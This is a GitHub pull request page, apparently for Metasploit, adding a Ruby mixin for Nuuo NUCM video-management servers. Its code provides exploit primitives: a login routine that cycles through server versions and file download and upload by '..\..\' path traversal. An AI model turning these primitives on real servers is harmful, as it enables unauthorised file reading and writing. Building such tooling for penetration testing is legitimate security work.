-
Notifications
You must be signed in to change notification settings - Fork 13.8k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add new mixin for Nuuo models #11289
Merged
+197
−0
Merged
Changes from all commits
Commits
Show all changes
13 commits
Select commit
Hold shift + click to select a range
7ac30b8
Merge pull request #2 from rapid7/master
8308ec1
Merge pull request #3 from rapid7/master
72a55fe
Add nuuo NUCS core lib
459598b
Update mixins to include new nuuo file
94f5b40
Fix file download / upload bug
0562aa5
Update nuuo.rb
9375ee2
Change only the last methods to private
3b98add
Update nuuo.rb
d8f9e41
Update lib/msf/core/exploit/remote/nuuo.rb
bcoles 08aa1c3
Update lib/msf/core/exploit/remote/nuuo.rb
bcoles b5dbacc
Update lib/msf/core/exploit/remote/nuuo.rb
bcoles c09515d
Update nuuo.rb
733f784
add bcoles suggestions
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -125,3 +125,4 @@ | |
|
||
# Other | ||
require 'msf/core/exploit/windows_constants' | ||
require 'msf/core/exploit/remote/nuuo' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,196 @@ | ||
require 'msf/core/exploit/tcp' | ||
|
||
### | ||
# | ||
# This module exposes methods that may be useful to exploits that deal with | ||
# servers that speak Nuuo NUCM protocol for their devices and management software. | ||
# | ||
### | ||
module Msf | ||
module Exploit::Remote::Nuuo | ||
include Exploit::Remote::Tcp | ||
|
||
# | ||
# Creates an instance of an Nuuo exploit module. | ||
# | ||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Author' => | ||
[ | ||
'Pedro Ribeiro <pedrib@gmail.com>' | ||
], | ||
)) | ||
|
||
register_options( | ||
[ | ||
Opt::RHOST, | ||
Opt::RPORT(5180), | ||
OptString.new('SESSION', [false, 'Session number of logged in user']), | ||
OptString.new('USERNAME', [false, 'Username to login as', 'admin']), | ||
OptString.new('PASSWORD', [false, 'Password for the specified user', '']), | ||
], Msf::Exploit::Remote::Nuuo) | ||
|
||
register_advanced_options( | ||
[ | ||
OptString.new('PROTOCOL', [ true, 'Nuuo protocol', 'NUCM/1.0']), | ||
]) | ||
|
||
@nucs_session = nil | ||
|
||
# All NUCS versions at time of release | ||
# Note that these primitives are not guaranteed to work in all versions | ||
# Add new version strings here | ||
# We need these to login; | ||
# when requesting a USERLOGIN we need to send the same version as the server... | ||
@nucs_versions = | ||
[ | ||
"1.3.1", | ||
"1.3.3", | ||
"1.5.0", | ||
"1.5.2", | ||
"1.6.0", | ||
"1.7.0", | ||
"2.1.0", | ||
"2.3.0", | ||
"2.3.1", | ||
"2.3.2", | ||
"2.4.0", | ||
"2.5.0", | ||
"2.6.0", | ||
"2.7.0", | ||
"2.8.0", | ||
"2.9.0", | ||
"2.10.0", | ||
"2.11.0", | ||
"3.0.0", | ||
"3.1.0", | ||
"3.2.0", | ||
"3.3.0", | ||
"3.4.0", | ||
"3.5.0" | ||
] | ||
|
||
@nucs_version = nil | ||
end | ||
|
||
|
||
## | ||
# Sends a protocol message aynchronously - fire and forget | ||
## | ||
def nucs_send_msg_async(msg) | ||
begin | ||
ctx = { 'Msf' => framework, 'MsfExploit' => self } | ||
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx }) | ||
sock.write(format_msg(msg)) | ||
# socket cannot be closed, it causes exploits to fail... | ||
#sock.close | ||
rescue | ||
return | ||
end | ||
end | ||
|
||
|
||
# Sends a protocol data message synchronously - sends and returns the result | ||
# A data message is composed of two parts: first the message length and protocol headers, | ||
# then the actual data, while a non-data message only contains the first part. | ||
## | ||
def nucs_send_msg(msg, data = nil) | ||
ctx = { 'Msf' => framework, 'MsfExploit' => self } | ||
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx }) | ||
sock.write(format_msg(msg)) | ||
if data != nil | ||
sock.write(data.to_s) | ||
end | ||
res = sock.recv(4096) | ||
more_data = '' | ||
if res =~ /Content-Length:([0-9]+)/ | ||
data_sz = $1.to_i | ||
recv = 0 | ||
while recv < data_sz | ||
new_data = sock.recv(4096) | ||
break if !new_data || new_data.length == 0 | ||
more_data << new_data | ||
recv += new_data.length | ||
end | ||
end | ||
# socket cannot be closed, it causes exploits to fail... | ||
#sock.close | ||
return [res, more_data] | ||
rescue | ||
return ['', ''] | ||
end | ||
|
||
|
||
## | ||
# Downloads a file from the CMS install root. | ||
# Add the ZIP extraction and decryption routine once support for it is added to msf. | ||
## | ||
def nucs_download_file(filename, decrypt = false) | ||
data = nucs_send_msg(["GETCONFIG", "FileName: ..\\..\\#{filename}", "FileType: 1"]) | ||
data[1] | ||
end | ||
|
||
|
||
## | ||
# Uploads a file to the CMS install root. | ||
## | ||
def nucs_upload_file(filename, file_data) | ||
data = nucs_send_msg(["COMMITCONFIG", "FileName: " + "..\\..\\#{filename}", "FileType: 1", "Content-Length: " + file_data.length.to_s], file_data) | ||
if data[0] =~ /200/ | ||
bcoles marked this conversation as resolved.
Show resolved
Hide resolved
|
||
true | ||
else | ||
false | ||
end | ||
end | ||
|
||
# logs in to the NUCS server | ||
# first, it tries to use the datastore SESSION if such exists | ||
# if not, it then tries to login using the datastore USERNAME and PASSWORD | ||
# In order to login properly, we need to guess the server version... | ||
# ... so just try all of them until we hit the right one | ||
def nucs_login | ||
if datastore['SESSION'] != nil | ||
# since we're logged in, we don't need to guess the version any more | ||
@nucs_session = datastore['SESSION'] | ||
return | ||
end | ||
|
||
@nucs_versions.shuffle.each do |version| | ||
@nucs_version = version | ||
|
||
res = nucs_send_msg( | ||
[ | ||
"USERLOGIN", | ||
"Version: #{@nucs_version}", | ||
"Username: #{datastore['USERNAME']}", | ||
"Password-Length: #{datastore['PASSWORD'].length}", | ||
"TimeZone-Length: 0" | ||
], | ||
datastore['PASSWORD'] | ||
) | ||
|
||
if res[0] =~ /User-Session-No: ([a-zA-Z0-9]+)/ | ||
@nucs_session = $1 | ||
break | ||
end | ||
end | ||
end | ||
|
||
private | ||
## | ||
# Formats the message we want to send into the correct protocol format | ||
## | ||
def format_msg(msg) | ||
final_msg = msg[0] + " #{datastore['PROTOCOL']}\r\n" | ||
for line in msg[1...msg.length] | ||
final_msg += "#{line}\r\n" | ||
end | ||
if not final_msg =~ /USERLOGIN/ | ||
final_msg += "User-Session-No: #{@nucs_session}\r\n" | ||
end | ||
return final_msg + "\r\n" | ||
end | ||
|
||
end | ||
|
||
end |
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I see your evil plan there :-)
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
:) I'm not planning to dig deeper (for the moment), but pointing it out to whoever wants to look into it...